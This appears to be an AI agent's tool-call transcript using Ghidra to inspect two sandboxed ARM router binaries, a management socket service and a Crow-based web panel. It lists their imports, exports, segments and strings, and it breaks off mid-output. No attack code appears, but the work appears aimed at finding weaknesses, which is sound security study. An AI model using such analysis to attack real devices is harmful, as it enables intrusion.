Call ghidra_open_server
Arguments
{"filepath": "/sandbox/router-management"}
Tool result
{"result":"compilerID: default\nimports[4]:\n - functions[56]: seccomp_init,__libc_start_main,strcmp,__cxa_finalize,setsockopt,strcspn,printf,fopen,seccomp_rule_add,memmove,free,fgets,inet_pton,memcpy,seccomp_load,signal,time,__stack_chk_fail,htons,perror,seccomp_release,accept,fwrite,strcat,getsockopt,strcpy,sysinfo,malloc,strftime,localtime,exit,strlen,vprintf,pthread_detach,snprintf,__isoc99_sscanf,bind,memset,putchar,strncpy,fclose,pthread_exit,pthread_create,strtok,listen,sprintf,vsnprintf,atoi,socket,abort,recv,close,send,gmon_start,_ITM_deregisterTMCloneTable,_ITM_registerTMCloneTable\n name: \n - functions[0]:\n name: libseccomp.so.2\n - functions[0]:\n name: libc.so.6\n - functions[0]:\n name: ld-linux.so.3\nexports[7]{address,name}:\n 00010c80,__DT_INIT\n 00010c80,_DT_INIT\n 00010f28,entry\n "00011024",_FINI_0\n 0001108c,_INIT_0\n "00014158",__DT_FINI\n "00014158",_DT_FINI\nformat: Executable and Linking Format (ELF)\nlanguageID: "ARM:LE:32:v8"\nprocessor: ARM\nendianess: Little Endian\nsegments[28]{name,start,end}:\n segment_3.1,"00010000","00010153"\n .interp,"00010154","00010166"\n .note.ABI-tag,"00010168","00010187"\n .hash,"00010188","00010317"\n .gnu.hash,"00010318",0001032f\n .dynsym,"00010330",000106ff\n .dynstr,"00010700",0001095c\n .gnu.version,0001095e,000109d7\n .gnu.version_r,000109d8,00010a37\n .rel.dyn,00010a38,00010acf\n .rel.plt,00010ad0,00010c7f\n .init,00010c80,00010c8b\n .plt,00010c8c,00010f27\n .text,00010f28,"00014157"\n .fini,"00014158",0001415f\n .rodata,"00014160",000149df\n .ARM.exidx,"000149e0","000149e7"\n .eh_frame,"000149e8",000149eb\n .init_array,00015dc4,00015dc7\n .fini_array,00015dc8,00015dcb\n .dynamic,00015dcc,00015edb\n .got,00015edc,00015fff\n .data,"00016000",0001600b\n .bss,"00016010","00016427"\n EXTERNAL,"00017000","000170e7"\n .ARM.attributes,".ARM.attributes::00000000",".ARM.attributes::0000002b"\n .shstrtab,".shstrtab::00000000",".shstrtab::000000d8"\n _elfSectionHeaders,"_elfSectionHeaders::00000000","_elfSectionHeaders::0000040f"\naddressSize: 32 bit\nimageBase: "00010000"\nnamedFunctions[4]{address,name}:\n 00010c80,_DT_INIT\n 00010f28,entry\n "00011024",_FINI_0\n "00014158",_DT_FINI\nstrings[101]{address,value}:\n "00010867",stderr\n ".shstrtab::0000008e",.eh_frame\n ".shstrtab::000000c9",.ARM.attributes\n 000143dc,seccomp_rule_add\n 000145ac,"%s : %s : %s\\n"\n 000148dc,SetParameterValue\n "00014774",Socket creation failed\n 000108ba,fclose\n 0001089e,localtime\n "00010701",_ITM_deregisterTMCloneTable\n "000142e4",List allowed to use methods.\n "00014598",Enabled\n 0001471c,New client connected.\n 000142d0,ListAllowedMethods\n "00014884","[ERROR] \\n\\rMethodDisabled->%s \\n\\r"\n 000148c8,GetParameterValue\n "00014520",Failed to read system information.\n "00014544","%ld:%ld:%ld"\n 0001081d,pthread_create\n "00014640",NETWORK\n "00014580","%s : %s \\n"\n 000142b4,Password\n ".shstrtab::00000001",.shstrtab\n 0001082c,recv\n "00010904",__stack_chk_guard\n ".shstrtab::00000013",.note.ABI-tag\n 0001084e,malloc\n ".shstrtab::0000007b",.rodata\n "00010787",pthread_exit\n "00010831",strcat\n "000107e7",memmove\n "00014618","%[^=] = %[^\\n]"\n "00014874","[OK] \\n\\r%s \\n\\r"\n "00014488",/sys/class/dmi/id/sys_vendor\n 000108f4,inet_pton\n "00014928",Client disconnected.\n "00010781",fgets\n 000146ac,"[%s] %s: "\n 000141f8,"[DeviceInformation]\\nManufacturer: %s \\nModel: %s \\nSSID: %s \\nEncryption: %s \\nPassword: %s \\nUptime: %s \\nRam: %.2f GB \\nFree Ram: %.2f GB \\n"\n "00010154",/lib/ld-linux.so.3\n "00010930",ld-linux.so.3\n 000108b3,accept\n "000145e8",ERROR\n ".shstrtab::00000083",.ARM.exidx\n "00014628","%[^ \\t]"\n 000145f0,reading config file\n 0001093e,GLIBC_2.4\n "00014904","[ERROR] \\n\\rIncorrectCommand->%s \\n\\r"\n 000107b5,perror\n 000145a0,Disabled\n 000144a8,Failed to read manufacturer information.\n 0001468c,Password\n "000108e6",fwrite\n 0001438c,GetInformation\n ".shstrtab::0000003b",.gnu.version\n ".shstrtab::000000a4",.fini_array\n ".shstrtab::000000c4",.bss\n "00010846",strcspn\n "00014630",METHODS\n 000142c0,"[WAITING] \\n\\r"\n "00014458",Can't read device information from file.\n "00014334",SetParameterValue\n 000147dc,"Bind failed, check if the port is in use"\n 000148b8,ListAllMethods\n 000147b4,"Failed to set the HOST, using 0.0.0.0"\n "00014808",Listen failed\n 000107df,putchar\n "00010896",sprintf\n 000107ef,htons\n 000148f8,"[ERROR] \\n\\r"\n "00010753",seccomp_rule_add\n 0001071d,gmon_start\n ".shstrtab::00000060",.rel.plt\n "00010794",strcpy\n 000144fc,Failed to read model information.\n "00014360",GetParameterValue\n "00014610","[%[^]]"\n 000107aa,setsockopt\n ".shstrtab::000000be",.data\n 000108c8,signal\n 000144d4,ERROR\n "00010838",strftime\n 000146b8,"Can't parse config file, exiting..."\n 000144dc,/sys/class/dmi/id/product_name\n 000108a8,getsockopt\n ".shstrtab::000000b9",.got\n "00014298",Unknown\n "00014314",List all methods even disabled.\n "00014304",ListAllMethods\n ".shstrtab::00000057",.rel.dyn\n "00010916",libseccomp.so.2\n "00010887",__cxa_finalize\n 000107c4,_stack_chk_fail\n "00010926",libc.so.6\n 000107fc,fopen\n 0001456c,"[AllowedMethods]\\n"\n 000145c0,config.cfg\n "00010841",atoi\n 0001474c,Trying to initialize sockets.\n 000143b8,Sandboxing the process...\n truncated... (more than 100 strings found),truncated\nfileSize: 21796 bytes\nentryPoint: 00010f28"}Call ghidra_open_server
Arguments
{"filepath": "/sandbox/router-web-panel"}
Tool result
{"result":"compilerID: default\nimports[4]:\n - functions[0]:\n name: libgcc_s.so.1\n - functions[0]:\n name: ld-linux.so.3\n - functions[119]: __aeabi_unwind_cpp_pr0,pthread_condattr_init,__cxa_free_exception,__aeabi_uldivmod,pthread_join,getpeername,strerror_r,if_nametoindex,__strcat_chk,operator.delete,recv,__gxx_personality_v0,time,__cxa_throw,strncmp,pause,pthread_mutex_lock,setsockopt,epoll_ctl,pthread_mutex_unlock,pthread_cond_broadcast,strcasecmp,memmove,__cxa_guard_acquire,poll,strftime,pthread_key_create,__cxa_bad_cast,memcmp,ioctl,pthread_once,pthread_mutex_destroy,pthread_cond_destroy,pthread_create,sendmsg,pthread_sigmask,free,__aeabi_uidivmod,snprintf,timerfd_settime,pthread_cond_init,epoll_wait,pthread_key_delete,pthread_setspecific,sigfillset,strlen,__cxa_rethrow,isalnum,__cxa_end_catch,__dynamic_cast,pthread_cond_signal,memset,__aeabi_ldivmod,timerfd_create,toupper,pthread_cond_wait,listen,stat64,__errno_location,__cxa_allocate_exception,sched_yield,sigaction,eventfd,strchr,"operator.delete[]",__aeabi_atexit,__libc_start_main,bind,strcspn,if_indextoname,operator.new,memchr,__sprintf_chk,__cxa_pure_virtual,close,shutdown,popen,memcpy,inet_ntop,__isoc23_strtoll,socket,aligned_alloc,read,gmtime_r,__stack_chk_fail,__memcpy_chk,__cxa_end_cleanup,abort,epoll_create1,__cxa_init_primary_exception,__aeabi_dcmple,epoll_create,strtod,getsockname,pthread_mutex_init,fcntl64,fgets,__isoc23_strtoull,pthread_getspecific,pipe,"operator.new[]",__cxa_guard_abort,write,accept,pthread_detach,pthread_condattr_destroy,__cxa_begin_catch,pthread_condattr_setclock,__aeabi_dcmpun,__isoc23_strtol,pclose,"operator.delete[]",inet_pton,__cxa_guard_release,__isoc23_strtoul,__once_proxy,gmon_start,EXT_FUN_ffff0fa0,EXT_FUN_ffff0fe0\n name: \n - name: truncated... (more than 100 imports found)\n functions[1]: truncated\nexports[101]{address,name}:\n 0003255c,close\n 0007a5a0,_ZTSN4crow8BaseRuleE\n "00024474",~func\n 000247b8,~netdb_category\n 00033fb0,_ZNSt10unique_ptrINSt13__future_base12_Result_baseENS1_8_DeleterEED1Ev\n 000658b4,_Z13admin_handlerv\n 0003ac10,_ZN4asio21basic_socket_acceptorINS_2ip3tcpENS_15any_io_executorEEC1INS_10io_contextEEERT_RKNS1_14basic_endpointIS2_EEbNS_10constraintIXsrSt14is_convertibleIS8_RNS_17execution_contextEE5valueEiE4typeE\n 00079c88,typeinfo-name\n 0007c514,typeinfo-name\n 0007b470,_ZTINSt8__detail11_AnyMatcherINSt7__cxx1112regex_traitsIcEELb1ELb1ELb0EEE\n 0007bc98,_ZTVN4asio19multiple_exceptionsE\n "00084794",vtable\n "00024448",ZN4asio9execution6detail17any_executor_base8query_fnINS_10io_context19basic_executor_typeISaIvELj4EEENS0_11prefer_onlyINS1_12relationship6fork_tILi0EEEEEEEvPvPKvSF\n "000849e0",_ZTVN10__cxxabiv121__vmi_class_type_infoE\n 0006eccc,ZNSt6vectorIN4crow8mustache6ActionESaIS2_EE17_M_realloc_insertIJNS1_10ActionTypeERjS7_RiEEEvN9__gnu_cxx17__normal_iteratorIPS2_S4_EEDpOT\n "000849e0",vtable\n 000247b8,_ZN4asio5error6detail14netdb_categoryD0Ev\n 00044f9c,~vector\n 00023b70,_ZNKSt5ctypeIcE8do_widenEc\n 00025f28,_M_destroy\n 0007c924,_ZTVN4crow8mustache26invalid_template_exceptionE\n 00016a10,ZN4asio9execution6detail17any_executor_base10require_fnINS0_12any_executorIJNS0_12context_as_tIRNS_17execution_contextEEENS1_8blocking7never_tILi0EEENS0_11prefer_onlyINS9_10possibly_tILi0EEEEENSC_INS1_16outstanding_work9tracked_tILi0EEEEENSC_INSG_11untracked_tILi0EEEEENSC_INS1_12relationship6fork_tILi0EEEEENSC_INSN_14continuation_tILi0EEEEEEEEvSM_EET_PKvSX\n "00034310",_ZNSt6vectorIN4crow4Trie4NodeESaIS2_EED1Ev\n 0003bfdc,_ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EED2Ev\n 0002e5a8,call_post_immediate_completion\n 0005842c,_M_insert_unique_node\n "00033700",shutdown\n 0004898c,_M_quantifier\n "00030294",do_throw_error\n "00047e00",_ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE8_M_cloneEv\n "00084948",_ZTISt8bad_cast@GLIBCXX_3.4\n "00048954",push_back\n 00024cc8,_ZN4asio6detail7tss_ptrINS0_10call_stackINS0_23strand_executor_service11strand_implEhE7contextEED1Ev\n 0006dfb0,get_body_params\n "00031168",register_descriptor\n 0007a9ac,typeinfo\n 0007b640,_ZTINSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb0EEE\n 00079f14,typeinfo-name\n "00024140",_ZN4asio6detail10service_idINS0_18signal_set_serviceEED2Ev\n 0002fd98,_ZNSt6vectorINSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESaIS5_EED2Ev\n 0002fe24,vector\n 0007bd74,vtable\n 0003d824,add_blueprint\n 00056fc0,_ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE7_M_atomEv\n 0007c580,_ZTSSt19bad_optional_access\n 0007c574,typeinfo\n 0005c96c,on_message_complete\n 00070be0,_M_find_before_node\n 0007c5d8,_ZTI5Phone\n 0004f370,ZNKSt7__cxx1112regex_traitsIcE17transform_primaryIPKcEENS_12basic_stringIcSt11char_traitsIcESaIcEEET_SA\n 0003d0dc,io_object_impl\n 0004c048,_ZN4crow10HTTPParserINS_10ConnectionINS_13SocketAdaptorENS_4CrowIJ19BasicAuthMiddlewareEEEJS4_EEEED2Ev\n 00015c9c,equivalent\n 0002847c,_M_invoke\n 0002eb60,do_run_one\n 0007087c,"_M_realloc_insert<std::unique_ptr<Device,std::default_delete>>"\n 0002600c,asio_detail_posix_thread_function\n 00079ee4,_ZTSN4asio5error6detail13misc_categoryE\n 000164f4,_ZNKSt3_V214error_category10equivalentERKSt10error_codei@GLIBCXX_3.4.21\n 0003e24c,"async<crow::Server<crow::Crow,crow::SocketAdaptor,BasicAuthMiddleware>::run()::{lambda()#1}>"\n 0008481c,_ZTVSt9bad_alloc@GLIBCXX_3.4\n 0002441c,"query_fn<asio::io_context::basic_executor_type<std::allocator,4u>,asio::execution::prefer_only<asio::execution::detail::relationship::continuation_t<0>>>"\n 0006db30,_ZN4crow8responseC2Ev\n 00079ed8,typeinfo\n 000160bc,system_error\n 00068e2c,_Z19devices_add_handlerRKN4crow7requestE\n 0002def0,"create<asio::detail::deadline_timer_service<asio::detail::chrono_time_traits<std::chrono::_V2::system_clock,asio::wait_traitsstd::chrono::_V2::system_clock [blocked]>>,asio::io_context>"\n "00058670","_Hashtable<std::pair<int_const,std::__cxx11::string>const*>"\n 00084a90,_ZTVNSt7__cxx1115basic_stringbufIcSt11char_traitsIcESaIcEEE@GLIBCXX_3.4.21\n 00079d90,_ZTISt19_Sp_make_shared_tag\n "000167e0",ZN4asio9execution6detail17any_executor_base9prefer_fnINS0_12any_executorIJNS0_12context_as_tIRNS_17execution_contextEEENS1_8blocking7never_tILi0EEENS0_11prefer_onlyINS9_10possibly_tILi0EEEEENSC_INS1_16outstanding_work9tracked_tILi0EEEEENSC_INSG_11untracked_tILi0EEEEENSC_INS1_12relationship6fork_tILi0EEEEENSC_INSN_14continuation_tILi0EEEEEEEEvST_EET_PKvSX\n 00079bd0,typeinfo-name\n 00084a44,_ZTVSt12system_error@GLIBCXX_3.4.11\n "000275e4",_ZN4crow10HTTPParserINS_10ConnectionINS_13SocketAdaptorENS_4CrowIJ19BasicAuthMiddlewareEEEJS4_EEEE7on_bodyEPNS_11http_parserEPKcj\n 0005e9b8,before_handle\n 000215f4,delete_config\n 0002a424,_M_manager\n 00052da8,"_M_realloc_insert<char_const*,unsigned_int>"\n 00026b00,_ZNSt13__future_base13_State_baseV2D1Ev\n 000162fc,_ZNKSt11logic_error4whatEv@GLIBCXX_3.4\n 0006a398,_ZNSt17_Function_handlerIFvRN4crow7requestERNS0_8responseEEZNS0_10TaggedRuleIJEEclIRF16ResponseOverrideRKS1_EEEvOT_EUlS2_S4_E_E10_M_managerERSt9_Any_dataRKSI_St18_Manager_operation\n 0007b78c,_ZTSNSt6thread11_State_implINS_8_InvokerISt5tupleIJMNSt13__future_base17_Async_state_implINS1_IS2_IJZN4crow6ServerINS5_4CrowIJ19BasicAuthMiddlewareEEENS5_13SocketAdaptorEJS8_EE3runEvEUlvE_EEEEvEEFvvEPSF_EEEEEE\n 0006addc,_ZNSt8functionIFNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES5_EED1Ev\n 0002eb20,_ZN4asio6detail13epoll_reactor16descriptor_state11do_completeEPvPNS0_19scheduler_operationERKSt10error_codej\n 0005d2b8,operator()\n 0004fd18,_ZZNKSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb1ELb0EE8_M_applyEcSt17integral_constantIbLb0EEENKUlvE_clEv\n 0003be10,"operator[]"\n 00075a68,__sync_add_and_fetch_2\n 0007bf00,_ZTVSt23_Sp_counted_ptr_inplaceINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIvELN9__gnu_cxx12_Lock_policyE1EE\n 0003c5d8,_ZNSt6vectorIPN4crow6detail10task_timerESaIS3_EE17_M_default_appendEj\n 0007be60,vtable\n 0002d198,system_category\n 00015dbc,string\n 0004337c,_BracketMatcher\n 00052d88,_M_deallocate_buckets\n 000582cc,_ZNSt10_HashtableIiSt4pairIKiNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEESaIS8_ENSt8__detail10_Select1stESt8equal_toIiESt4hashIiENSA_18_Mod_range_hashingENSA_20_Default_ranged_hashENSA_20_Prime_rehash_policyENSA_17_Hashtable_traitsILb0ELb0ELb1EEEE12_Scoped_nodeD1Ev\n 00023be8,_ZNSt13__future_base7_ResultIvE10_M_destroyEv\n 000431c4,_ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb0EED2Ev\n 000847d4,_ZTINSt6locale5facetE\n 0006c388,_ZNSt10unique_ptrINSt10filesystem7__cxx114path5_List5_ImplENS3_13_Impl_deleterEED2Ev\n truncated,truncated... (more than 100 exports found)\nformat: Executable and Linking Format (ELF)\nlanguageID: "ARM:LE:32:v8"\nprocessor: ARM\nendianess: Little Endian\nsegments[40]{name,start,end}:\n segment_3.1,"00010000","00010153"\n .interp,"00010154","00010166"\n .note.ABI-tag,"00010168","00010187"\n .hash,"00010188",00010a73\n .gnu.hash,00010a74,"00011443"\n .dynsym,"00011444","00012763"\n .dynstr,"00012764",00014c76\n .gnu.version,00014c78,00014edb\n .gnu.version_r,00014edc,0001512b\n .rel.dyn,0001512c,000152b3\n .rel.plt,000152b4,00015a83\n .init,00015a84,00015a8f\n .plt,00015a90,0001665b\n .text,"00016660","00076257"\n .fini,"00076258",0007625f\n .rodata,"00076260",0007cad7\n .ARM.extab,0007cad8,00081da1\n .ARM.exidx,00081da4,"00083313"\n .eh_frame,"00083314","00083317"\n .init_array,000846f0,"00084703"\n .fini_array,"00084704","00084707"\n .data.rel.ro,"00084708",00084acf\n .dynamic,00084ad0,00084bef\n .got,00084bf0,00084fff\n .data,"00085000","00085557"\n .bss,"00085560",00085b37\n EXTERNAL,"00086000",000863bb\n .ARM.attributes,".ARM.attributes::00000000",".ARM.attributes::0000002b"\n .comment,".comment::00000000",".comment::0000002f"\n .debug_abbrev,".debug_abbrev::00000000",".debug_abbrev::000001a1"\n .debug_aranges,".debug_aranges::00000000",".debug_aranges::0000001f"\n .debug_frame,".debug_frame::00000000",".debug_frame::00000697"\n .debug_info,".debug_info::00000000",".debug_info::00001f9a"\n .debug_line,".debug_line::00000000",".debug_line::00000aeb"\n .debug_loclists,".debug_loclists::00000000",".debug_loclists::000018c3"\n .debug_str,".debug_str::00000000",".debug_str::000006d6"\n .shstrtab,".shstrtab::00000000",".shstrtab::00000166"\n .strtab,".strtab::00000000",".strtab::0002ad89"\n .symtab,".symtab::00000000",".symtab::0001460f"\n _elfSectionHeaders,"_elfSectionHeaders::00000000","_elfSectionHeaders::000005ef"\naddressSize: 32 bit\nimageBase: "00010000"\nnamedFunctions[101]{address,name}:\n 000410fc,_M_fill_assign\n "00075984",__sync_or_and_fetch_4\n 00056adc,"_M_insert_bracket_matcher<false,true>"\n 0007461c,_M_invoke\n 00067eec,list_handler\n 00024be0,__concurrence_unlock_error\n "00024120",_M_invoke\n 000240f8,"target_type_ex<asio::io_context::basic_executor_type<std::allocator,4u>>"\n 00024adc,_State_impl\n 0006009c,_M_construct<char_const*>\n 000242d4,"query_fn<asio::io_context::basic_executor_type<std::allocator,0u>,asio::execution::detail::blocking::never_t<0>>"\n 00024f18,_M_manager\n "00022808","emplace_back<char*,unsigned_int>"\n 0002d728,start_op\n 00075da4,__sync_or_and_fetch_1\n 00069cf0,save_handler\n 0006ef38,parse\n "00016738",query_fn_void\n 000285d0,~unordered_map\n "00033078","createasio::detail::scheduler,asio::execution_context [blocked]"\n 0002d6f4,~posix_signal_blocker\n 00075e6c,__sync_xor_and_fetch_1\n 00024c58,setName\n 0001707c,"pair<char_const(&)[4],char_const(&)[27],true>"\n 000318d8,"createasio::detail::epoll_reactor,asio::execution_context [blocked]"\n "00029230",~scheduler\n 000478a8,_M_word_boundary\n 000245a8,_M_get_deleter\n "00057730",_M_alternative\n 0003d394,~vector\n 0001ea58,_M_move_assign\n 0003701c,_M_realloc_insert<double_const&>\n 0001d94c,unlock\n 0006a5bc,escape\n "00075684",__sync_fetch_and_nand_2\n 0006a2b0,what\n "00045724",get_ready_timers\n 0006ad0c,"type[abi:cxx11]"\n 0006e8d0,"emplace_backcrow::json::wvalue_const* [blocked]"\n "00025174",_M_manager\n 0006bfb0,handle\n 000550f0,"_M_realloc_insert<std::pairstd::__cxx11::string,std::__cxx11::string [blocked]>"\n 00075f7c,__sync_val_compare_and_swap_2\n 00042c84,_M_cur_int_value\n 0001eb68,operator=\n 0005791c,_M_disjunction\n 0007282c,new_rule_tagged<0ull>\n "00024134",~service_id\n 0004638c,Crow\n 0001db88,_M_erase\n 0003b7ec,count\n 000251bc,_M_manager\n 0006aaa4,validate\n 00052d18,clear\n 000313ec,"createasio::detail::signal_set_service,asio::io_context [blocked]"\n 000757fc,__sync_fetch_and_and_1\n 0002441c,"query_fn<asio::io_context::basic_executor_type<std::allocator,4u>,asio::execution::prefer_only<asio::execution::detail::relationship::continuation_t<0>>>"\n "00024164",empty\n 0002537c,_M_destroy\n "00026424","require_fn<asio::execution::any_executor<asio::execution::context_as_tasio::execution_context& [blocked],asio::execution::detail::blocking::never_t<0>,asio::execution::prefer_only<asio::execution::detail::blocking::possibly_t<0>>,asio::execution::prefer_only<asio::execution::detail::outstanding_work::tracked_t<0>>,asio::execution::prefer_only<asio::execution::detail::outstanding_work::untracked_t<0>>,asio::execution::prefer_only<asio::execution::detail::relationship::fork_t<0>>,asio::execution::prefer_only<asio::execution::detail::relationship::continuation_t<0>>>,asio::io_context::basic_executor_type<std::allocator,4u>,asio::execution::detail::blocking::never_t<0>>"\n "00048954",push_back\n 0001bf48,_GLOBAL__sub_I_FromJson\n 0002d198,system_category\n "00036600",add\n "00028220",~vector\n 0004bc10,"complete<asio::detail::binder1<crow::Server<crow::Crow,crow::SocketAdaptor,BasicAuthMiddleware>::run()::{lambda(std::error_code_const&)#2},std::error_code>,std::allocator>"\n 0001c314,__static_initialization_and_destruction_0\n 00050b88,_M_transform\n "00051954",do_write_static\n 00034a04,~vector\n 0005b738,handle\n 00039ca0,get_recursive_child_methods\n 000636dc,operator=\n 0002a2ac,_M_release\n 00015a84,_init\n 00023ca8,"prefer_fn<asio::execution::any_executor<asio::execution::context_as_tasio::execution_context& [blocked],asio::execution::detail::blocking::never_t<0>,asio::execution::prefer_only<asio::execution::detail::blocking::possibly_t<0>>,asio::execution::prefer_only<asio::execution::detail::outstanding_work::tracked_t<0>>,asio::execution::prefer_only<asio::execution::detail::outstanding_work::untracked_t<0>>,asio::execution::prefer_only<asio::execution::detail::relationship::fork_t<0>>,asio::execution::prefer_only<asio::execution::detail::relationship::continuation_t<0>>>,asio::io_context::basic_executor_type<std::allocator,0u>,asio::execution::detail::blocking::never_t<0>>"\n 000241fc,empty\n 0006a2bc,_M_invoke\n "00056178",_M_make_range\n "00016e38",__throw_regex_error\n "00016e18","query_fn<void,asio::execution::prefer_only<asio::execution::detail::relationship::continuation_t<0>>>"\n "00072e94",reserve\n 00048f74,_M_is_line_terminator\n 00063e6c,ostringstream\n 00016d90,"require_fn<asio::execution::any_executor<asio::execution::context_as_tasio::execution_context& [blocked],asio::execution::detail::blocking::never_t<0>,asio::execution::prefer_only<asio::execution::detail::blocking::possibly_t<0>>,asio::execution::prefer_only<asio::execution::detail::outstanding_work::tracked_t<0>>,asio::execution::prefer_only<asio::execution::detail::outstanding_work::untracked_t<0>>,asio::execution::prefer_only<asio::execution::detail::relationship::fork_t<0>>,asio::execution::prefer_only<asio::execution::detail::relationship::continuation_t<0>>>,void,asio::execution::context_as_tasio::execution_context& [blocked]>"\n 00023ec0,"query_fn<asio::io_context::basic_executor_type<std::allocator,4u>,asio::execution::context_as_tasio::execution_context& [blocked]>"\n 00042ed8,_M_try_char\n 0001a69c,"pair<char_const(&)[4],char_const(&)[18],true>"\n "00076170",__sync_lock_test_and_set_1\n "00020664",find\n 000425b0,_M_insert_state\n 0002677c,_M_invoke\n "00025350",_M_manager\n 0005c98c,_M_invoke\n 000256d4,assign\n 000438f8,"schedule_timer<asio::detail::chrono_time_traits<std::chrono::_V2::steady_clock,asio::wait_traitsstd::chrono::_V2::steady_clock [blocked]>>"\n 0001a828,"pair<char_const(&)[4],char_const(&)[17],true>"\n 0006d150,~wvalue\n 00039eb0,validate_bp\n 00047b08,_M_initialize_map\n truncated,truncated... (more than 100 named functions found)\nstrings[101]{address,value}:\n ".strtab::00027eee",_ZZN4crow6ServerINS_4CrowIJ19BasicAuthMiddlewareEEENS_13SocketAdaptorEJS2_EE3runEvENKUlvE_clEv\n ".strtab::000187f1",ZNSt6vectorISt10unique_ptrIN4asio10io_contextESt14default_deleteIS2_EESaIS5_EE17_M_realloc_insertIJPS2_EEEvN9__gnu_cxx17__normal_iteratorIPS5_S7_EEDpOT\n ".shstrtab::000000cb",.data.rel.ro\n ".strtab::0001e487",if_nametoindex@GLIBC_2.4\n ".strtab::0001b9e8",ZNSt8_Rb_treeIjSt4pairIKjS0_INSt6chrono10time_pointINS2_3_V212steady_clockENS2_8durationIxSt5ratioILx1ELx1000000000EEEEEESt8functionIFvvEEEESt10_Select1stISF_ESt4lessIjESaISF_EE16_M_insert_uniqueISF_EES0_ISt17_Rb_tree_iteratorISF_EbEOT\n ".strtab::0001db7d",_ZN4crow6detail10task_timer13process_tasksEv\n ".strtab::00010f50",_ZNSt6vectorIN4crow8mustache6ActionESaIS2_EED2Ev\n "000765e8",text/xml\n "00077e34","Invalid '\\xNN' control character in regular expression"\n ".strtab::00011e10",ZNSt6vectorINSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESaIS5_EED2Ev\n 0007c2ca,^abcdefghijklmnopqrstuvwxyz\n \".strtab::00022e91\",_ZN4asio9execution6detail17any_executor_base8query_fnINS_10io_context19basic_executor_typeISaIvELj4EEENS0_11prefer_onlyINS1_12relationship6fork_tILi0EEEEEEEvPvPKvSF_\n \".strtab::00019716\",_ZNSt6vectorIN4crow4json6wvalueESaIS2_EED2Ev\n \".strtab::00026a18\",_ZNKSt5ctypeIcE9do_narrowEcc\n \".strtab::00003d70\",_ZTSN4asio6detail9schedulerE\n \".shstrtab::0000007f\",.text\n \".strtab::000270a3\",_ZN4crow4json6wvalueC1Ev\n \".strtab::00009afb\",devices\n \".strtab::0000234f\",_ZN4asio6detail13epoll_reactor12cancel_timerINS0_18chrono_time_traitsINSt6chrono3_V212system_clockENS_11wait_traitsIS6_EEEEEEjRNS0_11timer_queueIT_EERNSC_14per_timer_dataEj.isra.0\n 0007981c,output\n \".strtab::0001bfb9\",_ZNSt17_Function_handlerIFbcENSt8__detail11_AnyMatcherINSt7__cxx1112regex_traitsIcEELb0ELb0ELb0EEEE10_M_managerERSt9_Any_dataRKS8_St18_Manager_operation\n 00012a46,_ZNKSt8__detail20_Prime_rehash_policy14_M_need_rehashEjjj\n \"00079338\",\"<option value=\\\"Middle\\\"\"\n 0007874c,local_endpoint\n 0001467d,epoll_ctl\n \".strtab::000036f0\",_ZTSZN4crow10TaggedRuleIJEEclIZ14install_routesRNS_4CrowIJ19BasicAuthMiddlewareEEEEUlvE_EEvOT_EUlRNS_7requestERNS_8responseEE_\n \".strtab::00024960\",_ZN4crow4json6wvalueC2ESt16initializer_listISt4pairIKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES1_EE\n 000131fd,_ZNSt10filesystem7__cxx114path5_ListC1Ev\n \".strtab::000274fd\",_ZNSt5ctypeIcE2idE@GLIBCXX_3.4\n \".strtab::000139f0\",_ZGVN4asio6detail30execution_context_service_baseINS0_23reactive_socket_serviceINS_2ip3tcpEEEE2idE\n \".strtab::0000ac8a\",_ZN4crow6ServerINS_4CrowIJ19BasicAuthMiddlewareEEENS_13SocketAdaptorEJS2_EED2Ev\n 0007652c,mutex\n \".strtab::00024cc2\",_ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE18_M_expression_termILb0ELb0EEEbRNS4_13_BracketStateERNS_15_BracketMatcherIS3_XT_EXT0_EEE\n 000794d8,firewall\n \".strtab::0001133d\",_ZN4asio6detail9schedulerD1Ev\n \"00079054\",Authorization\n \".strtab::00002a1e\",_ZN4crowL10mime_typesE\n 00014b78,CXXABI_1.3\n \".strtab::00000655\",_ZN4asio9execution6detail17any_executor_base13query_fn_voidEPvPKvS5_.isra.0\n \".strtab::0000510b\",__sync_or_and_fetch_2\n \".strtab::0002a0ae\",_ZZN4asio9execution6detail17any_executor_base16object_fns_tableINS_10io_context19basic_executor_typeISaIvELj0EEEEEPKNS2_10object_fnsEPNSt9enable_ifIXaantsrSt7is_sameIT_vE5valuentsrSC_ISD_NS1_22shared_target_executorEE5valueEvE4typeEE3fns\n \".strtab::0001f151\",_ZNSi10_M_extractIxEERSiRT_@GLIBCXX_3.4.9\n 00077bb0,\"basic_string::append\"\n \".strtab::000004e5\",_ZN4asio6detail15throw_exceptionINS_2ip16bad_address_castEEEvRKT_.isra.0\n \".strtab::0001a85a\",_ZZN4asio9execution6detail17any_executor_base16target_fns_tableINS_10io_context19basic_executor_typeISaIvELj4EEEEEPKNS2_10target_fnsEbPNSt9enable_ifIXntsrSt7is_sameIT_vE5valueEvE4typeEE16fns_with_execute\n 000799c0,\"crow::mustache error: \"\n 00013b18,_ZSt16__ostream_insertIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_PKS3_i\n 00078fcc,\"Request: \"\n \".strtab::00003bce\",CSWTCH.217\n \".strtab::00026065\",_ZNSt6thread11_State_implINS_8_InvokerISt5tupleIJZN4crow6ServerINS3_4CrowIJ19BasicAuthMiddlewareEEENS3_13SocketAdaptorEJS6_EE3runEvEUlvE2_EEEEED2Ev\n \".strtab::0001f268\",_ZTIN4asio6detail12posix_thread4funcINS0_9scheduler15thread_functionEEE\n 0007971c,portForwards\n 